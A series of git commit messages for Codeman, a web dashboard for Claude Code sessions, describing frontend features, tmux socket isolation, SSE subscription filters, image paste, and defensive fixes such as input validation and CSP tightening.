window.__codemanGestureAvailable so the Input section only shows when usable.
- The retired notification bell stays hidden regardless of notification state.
Both settings added to SettingsUpdateSchema and the mobile defaults.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- The 'static cached 1y → hard refresh after deploy' note is now stale:
renderIndexHtml runs cacheBustAssets() so a normal reload picks up edited
modules/styles. Update it.
- Note the multi-monitor header button (replaces notification bell) and its
/api/system/span-displays route in the Frontend + API Routes sections.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Static assets are served Cache-Control: max-age=1y, immutable, but the script
and link tags in index.html carried no version — so any edit to a frontend
module (panels-ui.js, styles.css, …) stayed cached until a manual hard refresh.
renderIndexHtml now appends ?v=<mtime> to every same-origin .js/.css ref
(generalizing the existing gesture-bundle cache-bust), re-stat'd per render so
a changed file is picked up with no server restart. External URLs, already-
versioned refs, and refs with no file on disk are left untouched.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Replace the header notification bell (now hidden by default; still reachable
via Settings → Notifications and the drawer) with a multi-monitor button.
Clicking it POSTs /api/system/span-displays, which spawns the bundled
scripts/span-codeman.sh — a fresh, maximized browser --app window sized to the
union of all displays — so in-page floating session panels can be dragged
across the physical monitor seam. macOS only; needs the one-time "Displays
have separate Spaces" OFF prerequisite (documented in the script). The route
pins the spanned window to localhost with a digits-only port from the Host
header so nothing attacker-controllable reaches the launched browser.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The self-hosted gesture assets (~27MB of wasm runtime + gesture_recognizer.task)
were committed to the repo. Replace that with scripts/fetch-gesture-assets.mjs,
which downloads them into src/web/public/gesture/ — idempotent (skips existing)
and non-fatal (the overlay is opt-in via CODEMAN_GESTURE=1, so a fetch failure
only warns). Wired into:
- postinstall.js (dev: populates src/web/public/gesture for `npm run dev`)
- build.mjs (before `cp -r src/web/public dist/web/`, so prod/dist gets them)
The files are already covered by the bare `public` .gitignore rule, so they
stay untracked. The overlay bundle (gesture-codeman.js) remains committed — it's
built from a separate repo and is small. Pin @mediapipe wasm to 0.10.21 to match
the bundled tasks-vision API.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
MediaPipe's wasm runtime + model are served same-origin from /gesture/, so the
gesture CSP no longer needs https://cdn.jsdelivr.net / https://storage.googleapis
.com in connect-src ('self' covers same-origin). Kept 'wasm-unsafe-eval'
(script-src, WASM compile) and worker-src 'self' blob: (MediaPipe blob workers).
Codeman's base jsdelivr entries (script/style/font-src) are unchanged — those
aren't gesture's.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Updates the opt-in gesture overlay (still gated by CODEMAN_GESTURE=1):
- Bundle (gesture-codeman.js) rebuilt from Ark0N/codeman-gesture-control:
- Detach now calls window.app.detachSession(id) directly (the on-tab pop-out
hook) instead of a separate /session/:id window.open reimplementation.
- Pinch a session tab → ghost follows your hand → pull out to undock.
- Pinch the Run (#runBtn → app.run()) or Run Shell (.btn-shell →
app.runShell()) toolbar button to fire it; drift cancels the tap.
- Camera shows fullscreen-dimmed by default (⛶ toggles a corner preview).
- Robust start-error reporting; GPU→CPU MediaPipe delegate fallback.
- Self-hosted MediaPipe (no CDN): serves the wasm runtime + gesture_recognizer
.task from /gesture/ so a browser content-blocker can't break startup. The
overlay points wasmBase/modelUrl there. (~27MB of assets; could later be a
build/postinstall fetch instead of committed blobs.)
- server.ts: cache-bust the injected bundle URL with its mtime (?v=), since
static is served with a 1-year cache — a redeploy is now never stale.
format:check / lint scope (src/**/*.ts) clean; server.ts typechecks.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Wrap the two long CSP-builder lines in registerSecurityHeaders to the 120-col
Prettier limit. Formatting only — no behavior change. Fixes the failing
"Typecheck & Lint" check (prettier --check) on PR #103.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CLAUDE_CODE_EFFORT_LEVEL hard-locks effort for the whole session and makes
Claude reject in-session /effort switching (incl. ultracode). Carry effort
as a dedicated payload field instead, injected at spawn as a soft default:
- regular levels (incl. max) -> claude --effort <level>
(the settings effortLevel key is enum([low,medium,high,xhigh]) with
.catch(undefined), so max would be silently dropped there)
- ultracode -> claude --settings '{"ultracode":true}'
(dedicated boolean settings key, rejected by the --effort flag)
Changes:
- add effort enum field to create/quick-start/ralph-loop schemas and thread
it through Session -> CreateSessionOptions/RespawnPaneOptions -> spawn
- buildEffortCliArgs() in session-cli-builder, shared by tmux spawn command
and direct-PTY fallback args
- frontend: buildEnvOverrides() no longer emits CLAUDE_CODE_EFFORT_LEVEL;
validated effort goes into payloads via getEffortSetting()
- settings UI: add Ultracode option to the Thinking Effort dropdown
- legacy migration: Session constructor extracts CLAUDE_CODE_EFFORT_LEVEL
from persisted envOverrides; applyEnvOverrides() unsets the stale tmux
session var so respawned panes are no longer locked
- tests: test/effort-injection.test.ts (13 cases)
Co-authored-by: Teigen <teigenzhang@gmail.com>
Loads a hand-tracking overlay into the dashboard that detaches a session by
pinch-grabbing its tab and pulling it out — driving the existing
app.detachSession(id) hook. Bundle (src/web/public/gesture/gesture-codeman.js)
is built from the codeman-gesture-control project's src/codeman/entry.ts
(esbuild, MediaPipe included) and served same-origin.
OFF by default — guarded entirely by CODEMAN_GESTURE=1:
- server.ts: injects the module script into the dashboard HTML only (not solo
/session/:id popups, which have no tab strip).
- auth.ts: widens CSP only under the flag — adds 'wasm-unsafe-eval' (MediaPipe
WASM) and the pinned MediaPipe CDNs (cdn.jsdelivr.net wasm, storage.googleapis.com
model) to connect-src, plus worker-src 'self' blob:. Production CSP is unchanged
when the flag is off.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Finding 2: unify the pop-out icon and tab-click paths via _raiseDetached().
After a dashboard reload (no owned WindowProxy ref), clicking the pop-out icon
no longer re-runs window.open() — which reloaded the live popup's terminal —
and instead raises it via the channel, matching the tab-click behavior.
- Finding 3: debounce channel-driven redock. A popup *reload* emits
redocked->detached in quick succession; a 1.5s grace lets the re-announce
cancel the redock so the dashboard badge no longer blips on popup refresh.
- Finding 4: periodic liveness reconcile. A popup hard-killed without a
'pagehide' (crash / OS kill) while the dashboard holds no ref would leave its
tab stuck "detached". The dashboard now re-roll-calls every 5s and re-docks
any channel-only tab that stays silent.
Frontend-only; validated with node --check (app.js is outside the ts/lint/prettier gates).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The instance-isolation sweep routed every ~/.codeman write through dataPath()
except the legacy ~/.claudeman → ~/.codeman migration in the StateStore
constructor, which stayed hardcoded. Gate the whole legacy block on the default
(prod) instance so a named instance (e.g. CODEMAN_INSTANCE=beta) never reads or
renames into the shared ~/.codeman / ~/codeman-cases layout. Prod behavior is
unchanged (CODEMAN_INSTANCE empty → migration still runs).
Note: swapping newDir to getDataDir() was rejected — its mkdirSync side-effect
would make !existsSync(newDir) false and silently disable the migration.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Detach a session tab into its own browser window and back.
Detach/undock:
- GET /session/:id serves the SPA in "solo mode", reusing the existing
client (terminal, local-echo overlay, reconnect) so no terminal code is
duplicated. One PTY already fans out to N SSE/WS clients, so a detached
window is just another live client — no server fan-out work was needed.
- A pop-out icon per tab; detached tabs show a badge and focus the popup on
click; closing the popup re-docks. Cross-window state via BroadcastChannel
plus a WindowProxy poll, and survives a dashboard reload (roll-call).
app.detachSession(id) is a single idempotent entry point (future gesture
hook). <base href="/"> so relative assets resolve under /session/:id.
Beta-branch isolation (so it can run alongside a prod Codeman):
- Default port 3000 -> 5000.
- New src/config/instance.ts derives the data dir and tmux socket from
CODEMAN_INSTANCE (default "beta"): ~/.codeman-beta + tmux -L codeman-beta.
Every ~/.codeman path now goes through dataPath()/getDataDir() (state,
mux-sessions, settings, push keys, lifecycle log, screenshots, certs,
linked-cases, subagent window state). Overridable via CODEMAN_INSTANCE /
CODEMAN_DATA_DIR / CODEMAN_TMUX_SOCKET. Prevents a second instance from
discovering and attaching PTYs to the first instance's live tmux sessions.
Verified: tsc / eslint / prettier / lockfile clean; Playwright E2E (27 checks)
for detach/solo/redock; default isolation confirmed to see zero real sessions.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Drops /compact from both the simple and extended accessory-bar layouts,
the action handler (case folded back to clear-only), the refocus guard,
and the JSDoc. /clear retains its double-tap confirmation. Verified on a
touch-emulated viewport: neither layout renders a compact action.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
* feat(web): response-viewer transcript fallback + code-block rendering
- Add _cleanTerminalBuffer(): strip ANSI escapes and Claude CLI chrome
(status bar, spinner, progress bar, prompt glyphs) from the terminal
buffer so the response viewer renders clean text when the JSONL
transcript is missing.
- Add _preprocessAsciiArt(): wrap box-drawing/block-element diagrams in
fenced code blocks (narrow trigger that excludes arrows/geometric
shapes common in prose) so marked.js preserves their whitespace.
- Extend .rv-text rules to .response-viewer-body so fallback-rendered
content gets the same typography, code-block, and table styling.
* refactor(web): drop duplicate _cleanTerminalBuffer/_preprocessAsciiArt
These two methods already exist on master (added in #75). This branch
re-added byte-identical copies above _sanitizeHtml; in a JS class body the
later definition wins, so the duplicates were inert dead code. Remove them,
keeping only the genuinely new work: the _renderMarkdown null-safety fix and
the response-viewer CSS overhaul.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Co-authored-by: arkon <arkon.85@hotmail.com>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Extend the keyboard accessory paste dialog with an image picker
(camera / photo library) plus best-effort image paste, routing
selected files through the existing _uploadAndInsertImages pipeline
- Re-encode images to standard JPEG/PNG in the browser before upload,
so mislabeled gallery images (e.g. MIUI WebP claiming image/jpeg)
pass the server magic-byte check; PNG keeps transparency, GIF passes
through untouched, decode failures fall back to the original file
- Log the real byte header on the paste-image magic-mismatch branch to
pin down any remaining format mismatches without a guessing loop
- Ignore the runtime .claude-images/ upload directory
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
The stats collector (~2s) and mouse-mode sync (5s) ran execSync (pgrep/ps/
list-panes, 5s timeout each) per session on the server's single thread,
blocking the event loop. With several sessions or a momentarily slow tmux this
froze port 3000 for seconds-to-tens-of-seconds while the process stayed alive
and other ports were unaffected — self-healing, so it never restarted and the
60s loopback healthcheck missed it. Convert these hot-path calls to execAsync.
Also add an always-on event-loop lag monitor (utils/event-loop-monitor.ts) that
logs stalls >=1s to the web log, so this otherwise-invisible class of incident
leaves a quantified, timestamped trace.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
The prior wording claimed the no-op stub was kept so SSE idle/working
handlers could call it without guards, but there are no callers anywhere.
Reword to reflect that it's a vestigial, intentionally-retained guard
documenting why Ctrl+L must not be auto-sent. Comment-only; minified
build output is unchanged.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Release 0.7.0. Also syncs CLAUDE.md version line and corrects the
route-handler counts (~130 handlers, sessions 28).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Claude Code 2.x treats Ctrl+L (\x0c) as a two-step "clear conversation"
command (first press shows the confirmation prompt, second press
clears). The frontend previously fired \x0c from three places to force
Ink to redraw stale CUP-positioned frames in the tailed buffer; if a
page refresh or SSE reconnect ran the same path twice within Claude's
confirmation window the second \x0c silently nuked the user's
conversation.
Removed the \x0c sends from:
- selectSession() — main offender, runs on every tab switch & page reload
- restoreTerminalSize() — manual "restore size" button
- sendPendingCtrlL() — dead code path (pendingCtrlL was never populated)
Trade-off: occasional stale Ink frames immediately after refresh; the
user's first keypress causes Ink to redraw and the artifact vanishes.
Losing the conversation silently is far worse than a brief cosmetic
glitch.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Wrap every fenced code block in the response viewer with a positioned
.rv-code-wrap toolbar (outside the <pre> scroll container so buttons stay put
during horizontal scroll). All blocks get a copy button; ASCII diagrams keep
their existing line-wrap toggle alongside it.
_copyText() prefers the async Clipboard API and falls back to a hidden-textarea
+ execCommand path, so copy works over plain HTTP too. The button shows a 1.5s
✓ / ✕ feedback state after each attempt.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
* fix(test): share route error handler with test harness + fix stale assertions
The route test harness built a bare Fastify instance without the production
global error handler (server.ts), so structured errors thrown by route helpers
(findSessionOrFail → 404, parseBody → 400) fell through to Fastify's default
handler — yielding a `{statusCode,error,message}` body instead of the
`{success:false,...}` shape, and the tests asserted the old implicit-200
behavior. 51 route tests across 7 files were red.
- Extract the handler into src/web/route-error-handler.ts; server.ts and the
test harness now install the identical handler (single source of truth).
- Correct stale assertions across route test files: throw-based error paths
now assert 404 (unknown session) / 400 (invalid body); genuine in-handler
`return createErrorResponse(...)` paths (200 + success:false) left untouched.
- Reformat a few test files prettier flagged (pre-existing non-compliance).
Route suite: 307/307 passing (was 256/307). No production behavior change.
* test(respawn): mock child_process so AI checker never spawns real processes
respawn-controller.test.ts drives the AI idle checker (ai-checker-base), whose
runCheck() spawns a real `tmux new-session` running `claude -p`. The AI-enabled
tests only assert the ai_checking state transition (then cancel/stop), so the
spawn produced stray real tmux sessions and claude processes on every run — the
reason `npm test` (full suite) was unsafe to run inside a managed session.
Mock node:child_process here (mirroring ai-idle-checker.test.ts), spreading the
real module so `exec` stays intact for transitively-imported modules
(tmux-manager calls promisify(exec) at load). With this, the full non-mobile
suite runs without spawning any real tmux/claude.
---------
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Also add docs/opencode-integration.md pointer to the dual-CLI gotcha in CLAUDE.md.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Both findings docs described a codebase that no longer exists — their
headline 'Critical'/'P0' items (server.ts/app.js/types.ts splits, the
{WORKING_DIR} placeholder bug) are all resolved. Moved to docs/archive/
with dated banners so they read as history, not a live TODO.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix: isolate codeman tmux sessions
* fix(tmux): unify all sessions onto a single dedicated socket
Remove the per-session `tmuxSocket` field that recorded which tmux server
each session lived on (default vs the `codeman` socket). That field was a
persisted cache of physical reality and could drift — causing live sessions
to be wrongly marked dead ("tab shows no session found") and spawning
duplicate "Restored:" tabs.
All Codeman sessions now live on one process-wide socket (`tmux -L codeman`,
overridable via CODEMAN_TMUX_SOCKET), exposed via TmuxManager.muxSocket on
the TerminalMultiplexer interface. reconcileSessions() collapses from a
multi-socket scan (locate / re-pin / cross-socket dedup) to a single
`list-panes` query. loadSessions() strips the obsolete field from on-disk
records so it stops being written back.
Also fix two sibling bare-`tmux` call sites the unification would otherwise
leave broken (same #80 regression class — bare tmux hits the user's default
server and never finds a session on the codeman socket):
- session.ts queryTmuxWindowSize(): add `-L <socket>` (was silently falling
back to 120x40 on re-attach, losing scrollback)
- session-routes.ts send-key (Shift+Enter / Ctrl+Enter newline): route
through ctx.mux.muxSocket
SSH chooser scripts (tmux-manager.sh, tmux-chooser.sh) route every tmux call
through `tmux -L $CODEMAN_TMUX_SOCKET`, matching the TS default.
---------
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Drill into a single project's complete history when the homepage's
3-per-project dedup hides older conversations.
- Backend: /api/history/sessions accepts projectKey/offset/limit;
single-folder mode bypasses the 50-cap and returns { sessions, total }.
projectKey is validated against ^[A-Za-z0-9_-]+$ to prevent traversal.
- Frontend: detail panel adds "View all in this folder" button that
opens a modal listing 20 sessions per page with Show more pagination.
- Modal items reuse _buildHistoryItem with showViewAll:false to avoid
recursive entry points.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Previously the client cached open session tabs in localStorage and resurrected
any that the server no longer knew about as grayed-out "ended" stubs. On
multi-device use (close tab on mobile, open desktop) this left stale phantom
tabs the user had to manually dismiss.
Remove _restoreEndedTabs / _saveTabMetadata, the session._ended branch in
selectSession, the data-ended render attribute, and the matching CSS rule.
Clear the legacy localStorage key on init to purge stale entries.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
When two sibling directories share a prefix (e.g. `diary/` and
`diary-app/`), the greedy shortest-match decoder picked the shorter
name and then failed to resolve the remainder, so the homepage Resume
Conversation list showed those workingDirs as $HOME and resume targeted
the wrong folder. Switch to recursive backtracking with longest-join-first
at each segment boundary; require every step to be a real directory.
Keep the greedy path as a fallback for deleted dirs.
Co-authored-by: Teigen <teigen@TeigendeMac-mini.local>
Closes#89.
- _disposeWebGLObserver() called from both trip path and onContextLoss (fixes the leak)
- Thresholds (200ms/3/30s/5s/7d) hoisted to WEBGL_FALLBACK in constants.js
- Pure evaluateWebGLLongTaskTrip() helper + 9 Playwright tests (test/webgl-fallback.test.ts, port 3166)
PR #84 added `src/web/public/image-input.js` (clipboard paste + drag-drop)
but the CLAUDE.md frontend module table wasn't updated. Bumps the feature
modules count from 4 to 5.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CI was running typecheck + lint + format only, which let plugin
registration regressions reach master — the @fastify/multipart conflict
in #90 crashed the server at startup but passed CI. The boot smoke
spawns the web server on a non-default port, polls /api/status for up
to 30s, and dumps the log on failure (either early exit or no-ready).
Catches: plugin registration conflicts, route registration errors,
import cycles, and any other failure between process start and
app.listen() resolving.
Auto-installs tmux on the runner since createMultiplexer() throws
without it (mux-factory.ts:17). ubuntu-latest already ships tmux, so
the install branch is normally a no-op.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
#90 added @fastify/multipart, which registers its own multipart/form-data
content-type parser. Combined with the existing manual no-op parser in
setupRoutes() (originally there so /api/screenshots could read req.raw
directly), this raises "Content type parser 'multipart/form-data' already
present" at server boot and the process exits. CI did not catch it
because ci.yml runs typecheck + lint only.
@fastify/multipart's parser is a no-op marker (sets req[kMultipart] =
true and returns) and leaves the body on req.raw, so the legacy
/api/screenshots handler that reads req.raw directly keeps working
unchanged. The manual parser was redundant the moment the plugin was
registered.
Smoke-tested locally: server boots, /api/sessions/:id/paste-image
returns 200 / 403-CSRF / 415-magic-mismatch / 413-oversize / 429-rate
as designed; /api/screenshots upload still returns 200.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Constrains the per-client SSE identifier introduced in #86 to
`[A-Za-z0-9_-]{8,64}` at both ingress points (`GET /api/events`
query and `POST /api/events/subscribe` body). Without this, an
authenticated attacker could:
- Send a victim's clientId to silently evict their tab from
sseClients (DoS — socket stays open, broadcasts stop).
- Mutate any clientId's session filter, blackholing that tab's
terminal stream.
- Grow sseClientsById without bound via long IDs.
Also caps the subscribe payload to 64 session entries of ≤128 chars
each, since the previous handler accepted arbitrary-length arrays.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat: add image paste and drag-and-drop support
Clipboard paste (Ctrl+V) and drag-and-drop of image files into the
terminal. Images are saved to {workdir}/.claude-images/ and the
absolute path is inserted into the terminal input for Claude to read.
- POST /api/sessions/:id/paste-image endpoint (hand-parsed multipart)
- image-input.js mixin with paste trap technique (works on HTTP)
- Ctrl+V intercepted at xterm keyboard level, routes through hidden
contenteditable div to capture both image and text clipboard data
- Drag-and-drop on terminal container with visual overlay
- Session cleanup deletes .claude-images/ on destroy
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* security: remove SVG from paste-image allowlist
Drops .svg / image/svg+xml from the paste-image endpoint. SVGs are
served as image/svg+xml via /api/sessions/:id/file-raw, same-origin,
under a CSP that permits inline scripts — which would execute on view.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: arkon <arkon.85@hotmail.com>
* feat(sse): per-client live subscription filter
Lets a connected client narrow its SSE stream to a single session
without forcing an EventSource reconnect. With many open sessions
(N tabs in the UI, all generating output), this cuts terminal-event
SSE traffic by roughly Nx — we only send the actively-rendered
session's bytes instead of all of them.
The existing ?sessions= query filter only worked at connect time;
narrowing or widening it required tearing down the EventSource and
losing in-flight messages. That was acceptable when filters were set
once at page load, but the UI now flips active sessions on every
tab switch.
How it works
============
- Client generates a stable per-page UUID (`_clientId`) once at
CodemanApp construction and includes it on the SSE URL:
GET /api/events?clientId=<uuid>&sessions=<active-id>
- Server records a `clientId -> reply` mapping in addition to the
existing `reply -> sessionFilter` map.
- New endpoint:
POST /api/events/subscribe { clientId, sessions: string[] | null }
updates the in-memory filter for the matching reply. 204 on success,
404 if the client isn't known yet (race on first selectSession after
reconnect — the next reconnect carries the filter via the URL).
- On every selectSession the client fires a fire-and-forget POST. No
reconnect, no re-init, no replay buffer needed.
Behavioural change to broadcast()
=================================
The per-event session filter is removed from `broadcast()`. Previously
that path filtered lifecycle/metadata events (`session:created`,
`session:updated`, `ralph:*`, `hook:*`) by extracting a `sessionId` from
the payload. With per-client narrow filters, that meant a client
subscribed to session A would never see session:created for B and the
sidebar would silently de-sync.
The new contract:
- **Lifecycle/metadata events** (low-volume, UI-correctness critical)
broadcast to all clients regardless of filter.
- **Terminal events** (high-volume, the actual reason for filtering)
apply the filter in `flushSessionTerminalBatch` (already there;
unchanged).
`extractSessionId()` was only used by the old broadcast() filter and
has been removed.
Files
=====
- src/web/sse-stream-manager.ts (+34/-29): add `sseClientsById`,
optional `clientId` arg to addClient/removeClient cleanup, new
`updateClientFilter()`, and the broadcast() change above.
- src/web/server.ts (+22/-3): parse `clientId` on /api/events, pass
to `addClient`, register POST /api/events/subscribe handler.
- src/web/public/app.js (+41/-1): generate `_clientId`, build the
EventSource URL with both clientId + active session, add
`_updateSseSubscription()`, call it on selectSession.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* test(sse): update operation-lightspeed to match broadcast-all contract
Lifecycle events (session:*, case:*) now reach every connected SSE
client; only session:terminal is gated by the per-client filter.
Updates the four assertions in operation-lightspeed.test.ts that
encoded the old "filter applies to all events" contract.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: arkon <arkon.85@hotmail.com>
The xterm WebGL renderer can stall the main thread for hundreds of ms
under GPU pressure (driver hiccup, integrated-GPU memory pressure,
hardware-accelerated browser layers contending for the GPU). Symptom:
the page becomes intermittently unresponsive and Chrome eventually
shows the "Page Unresponsive" dialog. Today the only mitigation is
?nowebgl, which the user has to remember and re-apply on every load.
This patch installs a PerformanceObserver after WebGL init that
watches for sustained main-thread stalls and falls back to the DOM
renderer automatically:
- Threshold: 3 long tasks of >=200ms each within a 30-second window.
- 5-second grace period after init skips the noisy initial-load
stalls so a slow first paint does not trip the guard.
- On trigger: dispose the WebGL addon, write a sticky disable to
localStorage with a reason and timestamp, and refresh the terminal
so the canvas renderer takes over without a page reload.
- Subsequent loads honor the sticky disable for 7 days, then auto-
expire so users retry after a driver/Chrome update.
- Force re-enable any time with ?webgl=force (also clears the
sticky entry).
- Existing ?nowebgl behaviour is unchanged.
- The same disable path is reused by the existing onContextLoss
callback so a hard context loss also persists across reloads.
Files:
- src/web/public/app.js: _initWebGL onContextLoss now persists +
schedules the watchdog; new _installWebGLLongTaskGuard and
_disableWebGLSticky helpers.
- src/web/public/terminal-ui.js: WebGL init checks the sticky entry
with 7-day expiry, honors ?webgl=force, threads sticky into
skipWebGL alongside the existing mobile + ?nowebgl gates.
PerformanceObserver longtask is widely supported (Chromium, Edge);
the try/catch around .observe() makes Firefox/Safari (which lack the
longtask entry type) silently no-op and just keep WebGL.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
When the data-pacing path (chunkedTerminalWrite + deferred path of
flushPendingWrites) schedules its next chunk via requestAnimationFrame
alone, terminal output stalls indefinitely if rAF is starved. Three
real-world scenarios reproduce this in Chromium:
1. Window is occluded (fully covered by another window, or on a
monitor that has gone to sleep). rAF drops to ~0Hz.
2. Tab is idle-throttled (no user interaction for ~5 min). Chromium
intensive-throttling clamps setTimeout to 1Hz too.
3. Tab is in a background window. Both rAF and setTimeout slow to a
crawl.
Replace the rAF-only scheduling with a _safeYield helper that races
three primitives in parallel:
- requestAnimationFrame (primary, fires at compositor rate).
- setTimeout(50) (fallback for visible-but-occluded windows).
- Worker postMessage tick (fallback for idle-throttled and
background tabs; Workers are not subject to main-thread throttling
— this is the React Scheduler trick).
The first one to fire wins via a `done` guard; the others become
no-ops. The Worker is built lazily on first call (4 lines of inline
JS via Blob URL); if Worker construction throws we silently fall
back to the other two primitives.
Replaces 6 requestAnimationFrame callsites that participate in data
pacing:
- 3 flushPendingWrites scheduling sites (live + deferred paths).
- 3 chunkedTerminalWrite sites (initial chunk, next-chunk loop,
final finish-callback).
True animation use cases (scroll loop in scrollToBottom, fit-addon
reflow) stay on plain requestAnimationFrame — they are correctly
throttled when the user is not looking, by design.
File: src/web/public/terminal-ui.js (+70/-8).
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Backfill the two regression gaps flagged on master after the recent
hostname-title and tmux-flicker fixes shipped without server-side
assertions.
* test/server-index-title.test.ts (8 tests) — exercises WebServer's
index.html templating path: default os.hostname(), --title-hostname
override, HTML-escape against `<script>`-style breakout, ampersand
non-double-encoding, exact-once substitution, and byte-identical
template-tail invariance.
* test/tmux-window-size-query.test.ts (15 tests) — mocks
child_process.execFileSync and walks the helper through the
browser-resize-between-attaches happy path, query-then-die race,
zero/negative/empty/non-numeric output, plus argv-form/timeout
assertions to lock down the no-shell-interpolation guarantee.
* src/session.ts — extracts the inline 14-line tmux size query into
a named `queryTmuxWindowSize()` export so the test surface is a
pure function. Behavior unchanged.
* src/web/public/notification-manager.js — Browser Notification API
(layer 3) now uses `${this.originalTitle}: ${title}` so OS-level
desktop pop-ups carry the same `codeman:<host>` prefix that the
tab title and Web Push payloads already do, finishing the
hostname plumb-through started in #82.
* CLAUDE.md, README.md — document the dual-CLI env-prefix discipline
(CLAUDE_CODE_* vs OPENCODE_*), expand the xterm-zerolag-input
duplication gotcha to mention the published-package side-effect,
and note that the hostname prefix now applies uniformly to tab
title, tab-flash, and OS notifications.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The clustering rewrite of stripInkRedrawBloat() shipped silently inside
the v0.6.7 "chore: version packages" commit (dcc814f). The previous
implementation discarded everything after the first VPA escape — silently
dropping 100KB+ of legitimate streamed response text on every long
Claude turn. The fix landed without any test coverage, so a regression
back to the old shape would be invisible until users noticed missing
conversation history.
Export the function (it's a pure (string)=>string helper) and add 12
tests covering:
- The early-out paths (empty buffer, no VPAs, fewer than 10 VPAs)
- Small clusters preserved (< MIN_BLOAT_SIZE = 32KB span)
- Big clusters collapsed to a single trailing VPA
- The silent-data-loss bug: response text BETWEEN two big clusters
is preserved (input >280KB so any "keep just the tail" approach
would push the response text out of its window — verified locally
that a simulated old impl fails the assertion)
- FRAME_GAP boundary on both sides (>8KB splits clusters; <=8KB merges)
- Mixed small + big in the same buffer
- Big cluster at end-of-buffer keeps the last frame
- Idempotency: a second pass is a no-op
- Realistic 200KB+ input shrinks by an order of magnitude
Total runtime ~12ms.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Closes the Web Push gap left by #82: in-page Notification API and tab
title flash both showed `codeman:<host>` after that PR, but OS-level
notifications dispatched via the service worker — the surface that
matters most when the tab is closed and the user is reading their
system notification center across multiple Codeman instances —
still hardcoded the literal "Codeman" prefix.
Service workers run in an isolated context with no access to
document.title or any in-page state, so the hostname has to ride
along in the push payload itself.
Server (server.ts:sendPushNotifications): emit `hostTitle: this.windowTitle`
in the JSON payload alongside the existing `title` (event-specific text
like "Permission Required"). The two stay separate so the SW can compose
them — the server knows the host, the SW knows the OS context.
Service worker (sw.js): compose `${hostTitle}: ${title}` when both
present, mirroring the in-page Notification format from
notification-manager.js. Fall back to `title || hostTitle || 'Codeman'`
so older servers (which omit hostTitle) keep working — the field is
purely additive on the wire.
Tests (test/push-payload-host-title.test.ts): mock the `web-push` module
via vi.hoisted(), instantiate WebServer without binding a port, stub
the push store with one fake subscription, and verify the JSON payload
shipped to webpush.sendNotification carries the right hostTitle for
both --title-hostname overrides and the os.hostname() default. Also
mirrors the SW's title-composition logic in a small helper so any
future change to the format breaks the test instead of being caught
only by users running multiple Codeman instances.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three follow-up fixes to the inline rename input introduced in #81:
1. IME composition guard. Pressing Enter to confirm a Chinese pinyin
candidate (or any IME composition) was committing the half-composed
text as the session name. Skip the keydown handler when isComposing
is true or when keyCode is the legacy 229 sentinel that older
Safari/Edge versions report on the Enter that triggers compositionend.
2. Ghost tab on mid-rename deletion. If a session was deleted via SSE
while its tab was being renamed, the render-skip flag suppressed
_renderSessionTabs() and the orphaned <input> stayed on screen until
blur — at which point the rename PUT 404'd against the dead session.
Replace the boolean _inlineRenameActive with a _activeRename
{sessionId, cancel} object so _cleanupSessionData can abort an
in-flight rename targeting the deleted session, and finishRename
skips the API call when the session is gone.
3. Stuck-flag risk. Move the settle-once guard into a closure-local
`settled` boolean so blur / Enter / Escape / external cancel all
converge to a single idempotent path. Register _activeRename only
after the input is fully wired so a throw earlier in setup can't
strand state.
Adds test/inline-rename.test.ts with 7 Playwright tests that drive
startInlineRename via page.evaluate() against a stubbed session and
synthetic .tab-name node — no real PTY/tmux needed, runs in ~1.3s.
Also fixes test/mobile/helpers/server.ts which imported the WebServer
via a path one directory short of the repo root, breaking the entire
mobile test suite under the main vitest config.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
